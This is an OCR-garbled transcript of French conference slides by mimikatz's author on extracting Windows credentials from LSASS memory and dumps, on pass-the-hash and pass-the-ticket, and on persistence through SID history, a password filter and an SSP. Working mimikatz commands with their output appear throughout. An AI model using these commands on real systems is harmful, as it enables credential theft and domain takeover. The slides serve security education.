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ZBenjamin DELPY - @gentilkiwi
— Bidouilleur en sécurité informatique, la nuit seulement (ce n’est pas mon travail)
* Adepte des chemises tahitiennes, mais Lille... en Janvier...

— Auteur de mimikatz
* Ce petit programme que j’ai écris pour apprendre le C
* ... et que les RSI / instances de sécurité détestent

— Présenté au Black Hat, Defcon, PHDays, BlueHat, St’"Hack, ...

—Je ne suis pas :
* Ingénieur, PASSI, MVP, CISSP, CISA, OSCP, CHFI, CEH, ISO*, MCSA, CHFI, [...]
 Politiqguement correct
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. La mémoire de Windows...

2 Pas besoin d’aller tres loin pour exploiter (la mémoire d’)un systeme...

— Les 0-day sont universelles, mais elles sont cheres et corrigeables...

2 La réalité est bien plus simple !

— Plus la cible est importante, plus celle-ci :
* obéit a des regles de fonctionnements ;
* repose sur des personnes, des architectures, de la délégation... ;
* segmente les activités, multipliant ainsi les acteurs/droits/priviléges...

— La sécurité en interne n’est pas sexy (pas de buzzwords, désolé !)

2 Pour un dirigeant, il est plus confortable de focaliser sur :
— des techniques avanceées ;
— l'application de référentiels (multiples) ;
— des audits

= |l

...que de traiter ses propres problématiques internes

| 2 Les attaquants ont trés bien compris tout cela : ils font rarement compliqué ou dans la finesse




La mémoire de Windows...
Processus accédant a la mémoire d’un processus

2 API OpenProcess
— http://msdn.microsoft.com/library/windows/desktop/ms684320.aspx

2 API ReadProcessMemory
— http://msdn.microsoft.com/library/windows/desktop/ms680553.aspx

&y mimikatz 2.0 alpha x64 (ce.eo)

CBERRE, mimikatz 2.0 alpha (x64) release "Kiwi en C" (Jan 17 2015 01:24:17)
LEE N R,
## "/ ‘-\I 33 ",'1.- = =
# \ / # Benjamin DELPY "gentilkiwi’ ( benjamin@gentilkiwi.com ) [B&

"## v #2' http://blog.gentilkiwi.com/mimikatz (oe.eo)

"BEBEE' with 15 modules = = =/

mimikatz # minesweeper::infos
Field : 16 r x 30 c
i HI 1



http://msdn.microsoft.com/library/windows/desktop/ms684320.aspx
http://msdn.microsoft.com/library/windows/desktop/ms680553.aspx

La mémoire de Windows...

Processus accédant a la mémoire d’un processus

2 API OpenProcess
— http://msdn.microsoft.com/library/windows/desktop/ms684320.aspx ‘

24 mimikatz 2.0 alpha x64 (oe.ec}

% APl ReadProcessMemory Sl o
— http://msdn.microsoft.com/library/windows/desktop/ms680553.aspx

mimikatz 2.0 alpha (x64) release "Kiwi en C" (Jan

enjamin_ DELPY “gentilkiwi” ( benjamin@gentilkiwi. com )
http://blog. gentilkiwi. com/mimikatz
Ordinateur ! ! with 15 modules

mimikatz(commandline) # privilege::debug

Privilege "20° OK
' mimikatz # sekurlsa::logonpasswords

Panneau de
configuration authentication Id : 0 ; 188337 (00000000:0002dfbl)
session : Interacti from 1
user Name  gentil Kiwi
Domain : HACK- 1
SID p 5-1-5-21-1982681256-12106540432-1600862990-1000

) A o - e ; msv : .
% Bien sur, avec des droits « Administrateur » s 700010000] credentialkeys
commandes * NTLM : £7a8 5031-'1:::(1 32446158bla
# SHAL a2 12f3dc7cf0023aefBed436labfc03e9a8c30

— Le jeu n’est plus le méme ! : , ~secname o 1&",‘;‘;‘:1 Kiwi

Civ

Domain T HA
NTLM 1 cc36cf7aB514883efccd332446158bla
1 a299912f3dc7cf0023aefBe4361abfc03e9a8c30

ername : Gentil Kiwi
Domain ¢ HACK-1
Pa.—..—n.cur d : wazal234/

 Gentil Kiwi
: HACK-1
rd @ wazal234/

e 1 Gentil Kiwi
Domain : HACK-1
Password : (null)



http://msdn.microsoft.com/library/windows/desktop/ms684320.aspx
http://msdn.microsoft.com/library/windows/desktop/ms680553.aspx

La mémoire de Windows...

Minidump d’un processus
ZIntégré a Windows ! -

Fichier Options Affichage 7

Applications | Processus | Services | Performance | Mise en réseau | Utiisateurs

— Gestionnaire de taches

-
Mom de limage PID Momdu... P... MéEmoire... Descripton =

explorer.exe 2692 Gentll Kiwi 00 17656 K Explorateur
inetd *32 2078 Adminis. .. oo 268 K SUA Utility
inetinfo.exe 1245 Systéme on 55856 K Internet Infi

init *32 1632 Admninis. .. 00 216 K SUA Utllity
405 Suatéme nn 2 516K | acal Securt

2 Programme signé numériquement par Microsoft e R B EER

madtc. exe

B PrOCDu m p Processus inad Arréter le processus

PSX5S.EXE Terminer I'arborescence du processus

— http://technet.microsoft.com/sysinternals/dd996900.aspx services. exe Déboguer

SMS5.EXE

o=

Virtualisation du contréle de compte d'utilisateur
spoalsy,exe

svchost.exe Creer un fichier de vidage

gvchost. exe
7 ° ° [ svchost. exe Definir la pricrité
UAPI MlnlDumperteDump svc:cus:.exe Definir |'affinité...,
T | Vidage du processus
— http://msdn.microsoft.com/library/windows/desktop/ms680360.aspx Proprig > "

J| Afficher les g Accédd | Lefichier a été créé.

Le fichier se trouve a I'emplacement suivant :
Proceszus @ 37 UC utilisée:| | CilUsesMGENTIL™1%AppData’local\Temp'lsass DMP

ZPowerShell !

— https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1

19/01/2015 ~ Benjamin DELPY “gentilkiwi* @ CoRIIN 2015 3 " benjamin@gentilkiwi.com ; blog.gentilkiwi.com


http://technet.microsoft.com/sysinternals/dd996900.aspx
http://msdn.microsoft.com/library/windows/desktop/ms680360.aspx
https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1

La mémoire de Windows...
Minidump d’un processus

2 Le Minidump permet de sortir I'ensemble des données en mémoire d’un programme en un fichier !
— La plupart du temps pour les exploiter sur un autre poste non controélé.

2 Un énorme avantage pour les attaquants : aucun programme n’est nécessaire sur le poste ciblé

— pas de réaction des antivirus/hips

% Certaines données peuvent aussi figurer dans
— les Crashdumps;
— les rapports d’erreur.

Lo ~J mimikatz 2.0 alpha x64 (ce.ea)

Gentil Kiwi

. EEERE mimikatz 2.0 alpha (x64) release "Kiwi en C" (Jan 3 2015
=

n_DELPY “gentilkiwi”™ ( benjamin@gentilkiwi.com )
f/blog. gentilkiwi.com/mimikatz {0 1)
with 15 modules *® % ¥/

3

Benj
http:/
Ordinateur

Panneau de
configuration

Invite de
commandes

rmmkMJQmWNMHﬂuh#pr
Privilege '20" oK

vilege: :debug

“AppDa
Local‘\Temp'lsass. DMP "

mimikatz # sekurlsa: m1n1dump C:
Sswitch to MINIDUMP :
mimikatz #

sekurlsa: : logonpasswords
Opening : "C:

“UsershWGENTIL~1%AppData'Local’Temp'lsass.DMP' file for

authentication Id : 0 ; 202447 (00000000:000316ct)
session : Interactive from 1
User MName pGentil Kiwi
Domain : HACh 1
SID : -1-
msyw =
[DDDlDDDD] Credentialkeys
NTLM cc3ocf7aBs14893efccd33z446158b1a
* SHAl : ajﬂ_ﬂljf"dt 7cf0023aef8ed 361 abfc03e9aicI0
00000032] Primary
* Username : Gentil Kiwi
Domain : Hnth 1
c36cf7aB514893efccd332446158bla
: ajﬂﬂﬂl?‘f"dt"’_'FDDEEEIH'FE-WLBElab'F::DEEQaEEBD

-21-1982681256-1210654043-1600862990-1000

“Local“Temp' 1sass. DMP



La mémoire de Windows...
Full dumg

T ———— 4|
EJ Dump C\Users\gentilkiwi\Desktop\kemel_moon_PC.dmp - WinDbg:6.3.9600.16384 X86 =HCT E
= - e —

{2 ’ 4 1 File Edit View Debug Window Help
ZLe luxe pour I'analyse mémoire ! R ——

Command EE]

— Contient l'intégralité des données noyau et de tous les processus |2 s e e vz i a »

CRERRR. mimikatz 2.0 alpha (x86) release "Kiwi en C" (Jan 17 2015 01:24:00)
At 7 ##.  Windows build 7601
#E N B = o® o=
E RN 3 Benjamin DELFY "gentilkiwi® { benjamin@gentilkiwi.com )
2 g S o http:~blog. gentilkivi comn mimikatz (o=.e0)
WinDBG extension | * * %/

2Ces dumps peuvent étre générés par :

0: kd: lproces=s 0 0 lsass. exe
# Then switch to its context
0: kd» .process ~r -p <EPROCESS address:

—Windows (kd, 1ivekd, crash du noyau) ;

16.0: kd» !proces=s 0 0 lsass. exe
PROCESS 855£77d0 Sessionld: 0 Cid: 01e8 Peb: 7f£d8000 ParentCid: 0178

— Des outils de forensic / tiers
Ps DumpIt de Mathieu SuiChe par exemple ;) ?;;gzselsgzéegggﬂ ObjectTable: 88447388 HandleCount: 572

16.0: kd» .process ~r ~p 855£77d40
Inplicit process i= now 855£7740
Loading User Symbols

16.0: kdr !'mimikatz

Authentication Id : 0 : 196160 (00000000:0002f{=40)
Session © Interactive from 1

& II peuvent aUSSi étre Obtenus depUiS : gii;igame é§§3i2i2fi:;44528444—62?255920—3055224092—1000

SID

nEv
[00000003] Primary
* TTzername @ Gentil Kiwi

— Les fichier d’hibernation (mise en veille prolongée)

* SHAL © a299912f3dc?cf0023a=f 824 361abic03e9a8c30
[00010000] CredentialKeys
* HTLM : coc3bcf?alb14893efocd332446158bla

— SnapShOt de VM . a299912f3dc7cf0023aef Bed361abfc0329a8c30

* Uzername : Gentil Hiwi
* Domain : PC
* Password @ wazallid~

— Une infrastructure virtuelle (ESX, Hyper-V...) R

[16.0. ks |

Ln0, Col0 Sys0:C\User Proc000:0 Thrd000:0 ASM OVR (CAPS

19/01/2015 ~ Benjamin DELPY “gentilkiwi* @ CoRIIN 2015 3 " benjamin@gentilkiwi.com ; blog.gentilkiwi.com 8



‘ La mémoire de Windows...
Acces direct

ZPar ordre de probabilite :

18 o =
.\IIIII-I T

-(..-.... AL L L L LIl Ll Ll ]

I .
|- =

—Windows démarré en mode « Debug », puis diagnostic via :
* Un port USB ;

* Un port série (encore présent sur des serveurs, si si) ;
* Un port Firewire ;

» Ethernet (carte compatible).

— Acces direct a la mémoire (DMA) :
* Firewire ;

* Express Card ;

e ... (http://www.breaknenter.org/projects/inception/)

— ColdBoot
— ‘NSA like’ gadgets

19/01/2015  Benjamin DELPY ‘gentilkiwi* @ CoRIIN 2015 e ~ benjamin@gentilkiwi.com ; blog.gentilkiwi.com



http://www.breaknenter.org/projects/inception/

2 Si vous voyez quelqu’un mener dans votre organisation une attaque par acces direct a la
memoire :

— Embauchez-le immédiatement et payez-le convenablement.

% Sivous validez (méme par délégation) des droits administrateurs de domaines/locaux en trés
grande quantité, ou a des externes :

2 Savez vous combien de personnes sont/peuvent devenir administrateurs :
— Devos DC?

— Des machines par lesquelles les administrateurs de vos DC se connectent ? (oui, les hétes ESX comptent)

— Des machines par lesquelles des personnes peuvent devenir administrateurs des machines par lesquelles les
administrateurs de vos DC se connectent ?

— Des machines ...

—>Certaines réponses peuvent étre inquiétantes, si vous ne les avez pas : c’est encore plus inquiétant !

—>Le principe est le méme pour les acces aux sauvegardes...




mimikatz :: sekurlsa
SSO avec LSA( level)

CHOCOLATE\Administrate...

Carte

2y Lo ] o2 Authentication

WinLogon ER— Lsass

user:domain:password

Authentication
Packages

Challenge
Response

19/01/2015 Benjamin DELPY “gentilkiwi® @ CoRIIN 2015 benjamin@gentilkiwi.com ; blog.gentilkiwi.com



mimikat

:: sekurlsa

2~ mimikatz peut lire les données du processus LSASS (depuis sa mémoire ou un dump)

4 mimikatz 2.0 alpha x64 (ce.eo)

2 Son module sekurlsa peut récupérer

MSV1_0
TsPkg
WDigest
LiveSSP
Kerberos
SSP

' 2 Mais aussi :

hash & clés (dpapi et autres)

mots de passe

mots de passe

mots de passe

mots de passe, clés, tickets & code pin
mot de passe

— pass-the-hash

— overpass-the-hash / pass-the-(e)key
* RC4 (ntlm), AES128 & AES256
— pass-the-ticket (API officielle MSDN)

. SRR
L HE .

mimikatz 2.0 alpha (x64) release "Kiwi en C" (Dec

7 2014

amin DELPY “gentilkiwi” ( benjamin@gentilkiwi.c )

Py

mimikatz(commandline) # privilege::debug

Privilege '20° OK

mimikatz # sekurlsa::logonpasswords

authentication Id :
Session
User Name
lDumaiﬂ
SID
msv .
[00010000]
# NTLM
* SHAl
[00000003]
¥ Username
* Domain
* NTLM
* SHAL
tspkg :

o ;

CredentialkKeys

: Benj
&' http://blog. gentilkiwi.com/mimikatz oe. e0)
with 15 modules #= = =/

189697 (00000000:0002e501)
: Interactive from 1

DGentil Kiwi
T HACK-1

r 5-1-5-21-1982681256-1210654043-1600862990-1000

: cc36cf7aB514893efccd332446158bla

T a299912f3dc7cf0023aefBed361abfc03edaBc30
r

=]

imary

D Gentil Kiwi
: HACK-1
» cc3bcf7aBsl4803efccd332446158b1a

T a299912f3dc7cf0023aefBed361labfc03e9a8c30

Username :
T HACK-1
o wazalz234d/

# Domain
# password
wdigest :

* Username :
T HACK-1
D wazalz34d/

# Domain
# password
kerberos :

* Username :
T HACK-1
: (null)

# Domain
®* password

Gentil Kiwi

Gentil Kiwi

Gentil Kiwi




mimikatz :: sekurlsa

lsasrv!LogonSessionlList

I
1sasrv!LogonSessionListCount tspkg tspkg! TSGlobalCredTable RTL_AVL_TABLE

wdigest wdigest!1l_LogSessList LIST_ENTRY

livessp livessp!LiveGloballLogonSessionlList LIST _ENTRY

kerberos (nt5) kerberos!KerbLogonSessionList LIST_ENTRY
for each session kerberos (nt6) kerberos!KerbGlobalLogonSessionTable RTL_AVL_TABLE

msvl © 1sasrv!LogonSessionList LIST_ENTRY
1sasrv!LogonSessionListCount ULONG

ssp msvl _O!SspCredentiallist LIST_ENTRY
module!symbol

typedef struct KIWI struct {

LUID LocallyUniqueldentifier;
G [..]
search List/AVL for LUID R | LSA_UNICODE_STRING UserName;
LSA _UNICODE_STRING Domaine;
LSA UNICODE_STRING Password;

} KIWI_struct, *PKIWI_ struct;

KIWI_struct
Lsasrv!g_cbRandomKey \,//””——__-’ LIST_ENTRY <offset stru_1109580, *

lsasrv!g _pRandomKey

lsaSPV!g_pDESXKey dd 1 offset ?1_LogSessList@a2U_LIST_EMTRY®@3A> ; _LIST_ENTRY
lsasrv!g Feedback dd offset struct_wdigest
_LUID <OEDAEFh, O
dd 1
dd oah

Qg 0] g . _UNICODE_STRIWG <14h, leh, offset wdigest_username= ; "gentilhkiwi"
lsasrv!InitializationVector Credentials _UNICODE_STRING <0OEh, 10h, offset wdigest_domaims ; 'HIRVAHA

_UNICODE
lsasrv!h3DesKey _UNICODE

STRING <z0Oh, zo0h, offset wdigest_enc_passwords
STRING <1ah, lch, offset wdigest_dns_domain= : "HIRWARA, L]

en clair !

lsasrv!hAesKey

19/01/2015 Benjamin DELPY “gentilkiwi® @ CoRIIN 2015 benjamin@gentilkiwi.com ; blog.gentilkiwi.com



LSASS (msv1l_0)
doe9aeel49655a60
LM 75e4540af1f22d3b
cc36cf7a8514893e
NTLM (md4) /-Fccd332446158b1a /

LSASS (msv1l_0)
| —— \‘ f
36¢cf7a8514893e
NTLM (md4) / ¢ / :
cc36cf7a8514893e - fccd332446158bla Domain

fccd332446158b1a Controller

19/01/2015 ~ Benjamin DELPY “gentilkiwi* @ CoRIIN 2015 3 " benjamin@gentilkiwi.com ; blog.gentilkiwi.com



.Windows Kerberos

2Que pourrions-nous faire avec plusieurs sessions Kerberos en mémoire ?

—Sur un Terminal Server par exemple ;)

LSASS (kerberos)

/-FS-Fd987fa7153185//
rcd_hmac_nt cc36cf7a8514893e
/\/ waza (NTLM/md4) fccd332446158bla

—
1234/ — 8451bb37aa6d7ce3
aeslZzo_hmac d2a5c2d24d317af3
Administrateur 1a7ddce7264573ael
£498Ff41614cc7800
aes256_hmac 1cbf6e3142857cce?

566ce74a7f25b

19/01/2015  Benjamin DELPY ‘gentilkiwi* @ CoRIIN 2015 ™ T ~ benjamin@gentilkiwi.com ; blog.gentilkiwi.com



@& Windows Kerberos

8 ~Trouver des clés...
HHR#HE mimikatz 2.0 alpha (x86) release "Kiwi en C" (Nov 17 2014 00:53:48)
HHE N H#E

## /) \ ## % = %

## \ / ## Benjamin DELPY "gentilkiwi ( benjamin@gentiTlkiwi.com )
"## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo0)
"#####! with 15 modules * * */

mimikatz # privilege: :debug
Privilege '20' OK

mimikatz # sekurlsa::ekeys

Authentication Id : 0 ; 142976 (00000000:00022e80)

Session : Interactive from 1

User Name : Administrator

Domain : LAB

SID 1 S-1-5-21-2929287289-1204109396-1883388597-500

* Username : Administrator
* Domain : LAB.LOCAL

* password : wazal234/

* Key List :




Windows Kerberos
| Overpass-the-hash

ZAvec une cle RC4 (Hash NTLM)

LSASS (kerberos)

Ky /

rcd_hmac_ at cc36cf7a8514893e
NTLM/md4 fccd332446158bla

cc36cf7a8514893e aesl2f amac
fccd332446158bla

af.s256_hmac

19/01/2015 ~ Benjamin DELPY "gentilkiwi® @ CoRIIN 2015 3 benjamin@gentilkiwi.com ; blog.gentilkiwi.com



Windows Kerberos

| Overpass-the-hash

20u bien avec une clé AES

la7ddce7264573ae
1f498ff41614cc78
001cbf6e3142857c
ce2566ce74a7f25b

LSASS (kerberos) 5

rc4 hmac_at
(NTLM/mr d4)

aesl12f mac

ol

T® TGS-REQ

p =

(@) TGS-REP

bf6e3142857cce2566
ce74a7f25b

—/1a7ddce7264573aelf
498ff41614cc78001c
ar:s256_hmac

/

19/01/2015 ~ Benjamin DELPY ‘gentilkiwi- @ CoRIIN 2015
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Windows Kerberos
Overpass-the-hash

mimikatz # sekurlsa::pth /user:Administrator /domain:LAB.LOCAL
/rc4:cc36cf7a8514893efccd332446158bla
user : Administrator
domain : LAB.LOCAL
program : cmd.exe
NTLM :
PID 3632
TID 3924
LUID O ; 442172 (00000000:0006bf3c)
\_ msvl_0 - data copy @ 00B30F54 : OK ! mimikatz # sekurlsa::pth /user:Administrator /domain:LAB.LOCAL
\_ kerberos - data copy @ 00BC5C18 /aes256:1a7ddce7264573ael1f4981f41614cc78001cbf6e3142857cce2566ce74a7f25b
\_ aes256_hmac -> null user : Administrator
\_ aes128_hmac -> null domain : LAB.LOCAL
\_ program : cmd.exe
\— AES256 :
\— | PID 2120
\— | TID 2204
\— | LUID O ; 438984 (00000000:0006b2c8)
\_ *Password replace -> null \_ msvl_0 - data copy @ 00B2936C : OK !
\_ kerberos - data copy @ OOBC5A68
\_
\_ aesl1l28_hmac null
\_ rc4_hmac_nt null
\_ rc4_hmac_old null
\_ rc4_md4 null
\_ rc4_hmac_nt_exp -> null
\_ rc4_hmac_old_exp -> null
\_ *Password replace -> null




‘Windows Kerberos

Z\What else?

LSASS (kerberos)

/f8fd987fa7153185//
4 rcd_hmac_nt / cc36cf7a8514893e /
7l /\/ waza fccd332446158b1a
& |
| -’ 1234/ 128 h 8451bb37aa6d7ce3
e aeslzoe_hmac d2a5c2d24d317af3
Administrateur 1a7ddce7264573ael
— £498fF41614cc7800
deszo5b_hmac 1cbf6e3142857cce2

566ce74a7f25b
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.,Windows Kerberos

mimikatz # sekurlsa::tickets /export

8 2 Tickets...

Authentication Id : 0 ; 963494 (00000000:000eb3a6)
Session : Interactive from 2
User Name : Administrator
Domain : LAB
SID 1 S-1-5-21-2929287289-1204109396-1883388597-500
[..]
Group 0 - Ticket Granting Service
[00000000]
Start/End/MaxRenew: 19/11/2014 03:00:52 ; 19/11/2014 13:00:12 ; 26/11/2014 03:00:12
Service Name (02)
[..]
Flags 40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
Session Key : 0x00000012 - aes256_hmac
13d5f91632296f1d2bc658793ffc458f7abac80ef062aa908359f7eaalf9b946
Ticket : 0x00000012 - aes256_hmac ; kvno = 3

Group 1 - Client Ticket ?

Group 2 - Ticket Granting Ticket
[00000000]
Start/End/MaxRenew: 19/11/2014 03:00:12 ; 19/11/2014 13:00:12 ; 26/11/2014 03:00:12
Service Name (02)
[..]
Flags 40e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
Session Key : 0x00000012 - aes256_hmac
7f75a0085ce638ff7dc43cleellf8d478f8ff1le4c863769195f390223cebdcla
Ticket : 0x00000012 - aes256_hmac ; kvno = 2




Windows Kerberos
Pass-the-ticket

8 ~Avec un TGT, pour obtenir des TGS...

LSASS (kerberos)

rc4 hmac_at
NTLM/rrd4

aesl128& amac

af.s256_hmac
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Windows Kerberos
Pass-the-ticket

ZAvec un ou plusieurs TGS

LSASS (kerberos)

rc4 hmac_at
NTLM/mrd4

aesl12f hmac

af.s256_hmac
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Windows Kerberos
- Pass-the-ticket

HBARE . mimikatz 2.0 alpha (x86) release "Kiwi en C" (Nov 17 2014 00:53:48)
HE N ##.

## / \ ## /-k * %

## \ / #4# Benjamin DELPY "gentilkiwi ( benjamin@gentilkiwi.com )
"## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo0)
"#E#AE with 15 modules * * */

mimikatz #

mimikatz # kerberos::1list

[00000000] - 0x00000012 - aes256_hmac
Start/eEnd/MaxRenew: 19/11/2014 03:00:12 ; 19/11/2014 13:00:12 ; 26/11/2014 03:00:12
Server Name : @ LAB.LOCAL
Client Name : Administrator @ LAB.LOCAL
Flags 40e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;

[00000001] - 0x00000012 - aes256_hmac
Start/eEnd/MaxRenew: 19/11/2014 03:00:52 ; 19/11/2014 13:00:12 ; 26/11/2014 03:00:12
Server Name : @ LAB.LOCAL
Client Name : Administrator @ LAB.LOCAL

Flags 40a50000 : nhame_canonicalize ; ok_as_delegate ; pre_authent ; renewable ;
forwardable ;

mimikatz #
0_
0 - File '"[0;eb3a6]-0-0-40a50000-Administrator@cifs-dc.lab.local.kirbi' : OK
1 - File "[0;eb3a6]-0-1-40a50000-Administrator@ldap-dc.lab.local.kirbi' : OK
2 - File "[0;eb3a6]-2-1-40e10000-Administrator@krbtgt-LAB.LOCAL.kirbi"




Windows Kerberos
PKINIT

2 “Oui, mais nous on utilise une PKI”
— C’est bien
2 Dans les faits le NTLM fonctionne encore
o Z Les tickets (TGT et TGS) se dumpent toujours
Y 2 Windows renvoie les hash NTLM/clés RC4

— pour des raisons de compatibilités

—on les retrouve en mémoire apres s’étre
logué.

% Le code PIN est conservé dans la mémoire du
processus LSASS

—oui, en cache (SSO du SSO)

—souvent présent en + dans les middlewares
du fabriquant

- - fEEﬁjamfﬂ DELPY “gen L A0
http://blog. gent11k

mimikatz # privilege::debug
Privilege "20" OK

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 249276 (00000000:0003cdbc)
Session : Interactive from 1
Uzer MName : Administrateur
Domain : CHOCOLATE
SID p 5-1-5-21-130452501-2365100805-36585010670-500
msv
[00000003] Primary
= Username : Administrateur
= Domain : CHOCOLATE
= LM : Q000000000000 0000000000000
= NTLM : cc3ecT7aBsl4893efcocd33iz446158bla
= SHAL r OOO0000000000 0000000000000 0000000000
[00010000] Credentialkeys
= NTLM : cc3ecf7aBsl14893efcocd33z446158b1a
tspkg :
wdigest :
= Username : Administrateur
= Domain : CHOCOLATE
= Password : (null)

“* Username : Administrateur
= Domain : CHOCOLATE. LOCAL)
= Passzword : (null)

* PIN code : G789

55p @
[00000000]
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. Altération mémoire et persistance

~misc::addsid (Sid History)
—Inspiré par Baldzs Bucsay (@xoreipeip) et Nicolas Ruff (@newsoft)

Zmimilib Password Filter
Zmimilib SSP

Zmisc::memssp
—Inspiré par Robert Fuller (@mubix)

| ~misc::skeleton (Skeleton Key)

— Inspiré par 'analyse de Dell SecureWorks (@dellsecureworks)




Altération mémoire et persistance
misc::addsid (Sid History)

% Les utilisateurs ont des propriétés dans I’ActiveDirectory.

— sIDHistory, un champ reprenant I'historique des identifiants d’'un objet si celui-ci provient d’'un autre domaine

* Dans le cadre d’un déplacement, rattachement, etc... afin de conserver les accés a des ressources, avoir un historique pour les journaux d’événements, etc.

Aodification ADSI Mom

— Domaine A: SID: S-1-5-21-130452501-2365100805-3685010670-1234
* sldHistory : null 4

Dép/acement de l'utilisateur depuis le domaine A vers B -&ﬁﬂﬁﬂﬁﬁ- mimikatz 2.8 alpha <(x64> releaze "Kiwi en C" <Jan 17 2015 @

i BN B o o= o=
— DomaineB:SID:S-1-5-21- #it ~ ~ it Benjamin DELPY ‘gentilkiwi® ¢ benjaminBgentilkiwi.com >
THE v #HE http:/rblog.gentilkiwi.coms/mimikatz {oe.eoar

* sldHistory:S-1-5-21-130452501-2365100805-3685010670-1234 * HHHEE with 15 modules »* = =/

@ mimikatz 2.0 alpha x64 (oe.eq)

imikatz # privilege::debuyg
’ . . N e Privilege ‘28" OK
Ce champ n’est pas librement accessible, méme aux administrateurs...

:i.m:i.l_ca.tz # misc: :a_mlcls:i.cl simpleuser "Adminz du domaine” "Administrateur"
» Windows vérifie un grand nombre de conditions lors de I'appel a I'API officiel FlDHistory for 'sinpleuser

#* Admins du domaine
* APIDsAddSidHistory : http://msdn.microsoft.com/library/ms675918.aspx

# Administrateur oK Editeur de chaines octet a valeurs multiples

Propriétés de : CN=5i1  agibut - s|DHistory
Que se passerait-il si mimikatz modifiait la logique de ces vérifications ? Etaur datisbuts |
Attributs - Aouter

Que se passerait-il si 'on demande ensuite le rajout de SID de groupes a un utilisateur ? — —
AN Valeur

* du méme domaine et pour le groupe Admins du domaine... shadowlnactive <non défini>
shadowlastChange <non définiz Modifier
shadowMax <non définiz

Résultat : privilége des groupes concernés, sans appartenir aux groupes concernés. shadowllin <non défini>
shadowWaming <non définiz

* Admins du domaines, sans figurer a un seul moment dans ce groupe showinAddressBock  <non defini>
showlnAdvancedVie...  <non défini>

Persistant ! sIDHistory 5-1-5-21-13045250
an <non définis
* Clest inscrit dans I'AD

Supprimer



http://msdn.microsoft.com/library/ms675918.aspx

Altération mémoire et persistance

mimilib Password Filter

% La librairie « mimilib.dll » peut aussi
servir de filtre de mot de passe.

— Lutilisateur soumettra a l'autorité de sécurité
(un DC pour un domaine, sinon le systeme
lui-méme) le mot de passe que |'utilisateur

>

Partage

Affichage

System32

© -1

b CePC » Disquelocal (C:) » Windows » System32

¢ Favoris

B Bureau

MNom

| kiwifilter

= Emplacements récer

& Teéléchargements

|| perfcO0C.dat
|| perfcO09.dat
|| perfh00C. dat

Modifié le. Type

Taille
15 02:08 Document texte

Fichier DAT

Fichier DAT

/8 Ce PC [ ] perfho0g.dat

PerfStringBackup

souhaite lors d’'une demande de changement.

o Fichier Edition Format Affichage 7

[poBBB451] simpleuser
[BeeeBa51] simpleuser

newpassword
wazal23d/

* Pour vérifier que le nouveau mot de passe o
respecte une politique sala

[ . Class

* Ou simplement en étre notifié... -

Mem Données
ab|(par défaut)

CMF o] auditbasedirect...
CoDevicelr

COM Mam
Compatibi
Computerl
Contentlng
CrashCont| _
Cryptogra =
DeviceClas

Type

REG_SZ
REG_DWORD
REG_DWORD
REG_MULTI_SZ
REG_BIMNARY
REG_DWORD
e disabledomainc... REG_DWORD
18| everyoneinclude... REG_DWORD (00000000 (0)
REG_DWORD CDO0D0D0D (0)
fio|fullprivilegeaudi... REG_BIMARY 00
fio|LimitBlankPass... REG_DWORD (00000001 (1)
DevQuery ve| L=aPid REG_DWORD (000001 28 (456)
EarlyLaunc e NoLmHash REG_DWORD (00000001 (1)

Ele ab| Notification Pac... REG_MULTI_SZ rassfm scecli mimilib
REG_DWORD (000D000T (7)

(valeur non définie)
(OeeDO0DDOD0 (0)
OeeDO0DD000 (0)
msvl1_0

00 3000 00 00 20 00 00
OreD00DO000 (D)
(OeeDO0DDOD0 (0)

18| auditbaseobjects
ab| Authentication ...
#s|Bounds

ws| crashonauditfail

— La librairie peut étre enregistrée sur un DC

* Toute les demandes de changement qui seront
acceptées par ce DC seront logués dans le fichier :
kiwifilter.log

13| forceguest

DeviceCon
DeviceCon

Errata #s| ProductType

— Persistant !

19/01/2015 Benjamin DELPY “gentilkiwi® @ CoRIIN 2015 benjamin@gentilkiwi.com ; blog.gentilkiwi.com



Altération mémoire et persistance
mimilib SSP

ZToujours avec la méme librairie « mimilib.dll »...

— Celle-ci peut étre enregistrée en tant que package de sécurité (validant des authentifications,
réalisant du SSO, ...)

—Cela permettant de voir passer tous les mots de passe de connexion

e Et de les inscrire dans un fichier : kiwissp.log

& Téléchargements || perfc00C.dat kiwissp - Bloc-notes

|| perfh00C.dat Fichier Edition Format Affichage 7
(A - [00000000:000003e7] [00000002] LABOKIWI\PCS (PC3) CBSpY+,E9q3E(,-T49D 4WvGHf]
7 [ : 710 ] v . pY+,E9q3E(, 4wy
1 Rt Registre [00000000:000003e7] [00000005] LABOKIWI'PCS (Systéme)  CBSpY+ EQQ3IE(,-T49D 4uvG#f]
e eceSSI e un re OO Fichier=Editiorr=AffichzgeFavorc=? [00000000:000003e4] [00000005] LABOKIWI\PCS (SERVICE RESEAU CB5pY+,E9q3E(,-T49
2 [00000000:000003e4] [00000005] LABOKIWI\PCS (SERVICE RESEAU)  CBSpY+,E9q3E(,-T49

ACPI || Nom [00000000:000003e5] [00000005] %\ (SERVICE LOCAL)
AGP [00000000:000003e7] [00000005] LABOKIWI'PCS (Systéme) CBSpY+,E9Q3E(,-T49D " 4wWvG#f]

S ! l A Adds . t P k : : Ll 2Bl (nar défautl [00000000:000003e5] [00000005] °, (SERVICE LOCAL)
au SI appe a (( ecurl y ac age )) Moadifier les chaines multiples [00000000:000003e7] [00000005] LABOKIWINPCS (Systéme)  CBSpY+,E9q3E(,-T49D 4wvG#f]
[00000000:000003e5] [00000005] § ESERVICE LOCAL%
: ) . [00000000:000003e5] [00000005] SERVICE LOCAL
http://msdn.microsoft.com/library/windows/desktop/dd401506.aspx e [00000000:000003¢5] [00000005] \ (SERVICE LocaL)
Seourty Packages [00000000:000003e5] [00000005] ' (SERVICE LOCAL)
Données de |a valeur : [00000000:000003e4] [00000005] LABOKIWIWPCS (SERVICE RESEAU) CBSpY+,E9q3E(,-T49
[00000000:000003e7] [00000005] LABOKIWI\PCS (Systéme)  CBSpY+,E9q3E(,-T49D 4wvG#f
kerberos [00000000:000003e5] [00000005] ' (SERVICE LOCAL)
msv1_0 [00000000:000003e5] [00000005] % (SERVICE LOCAL)
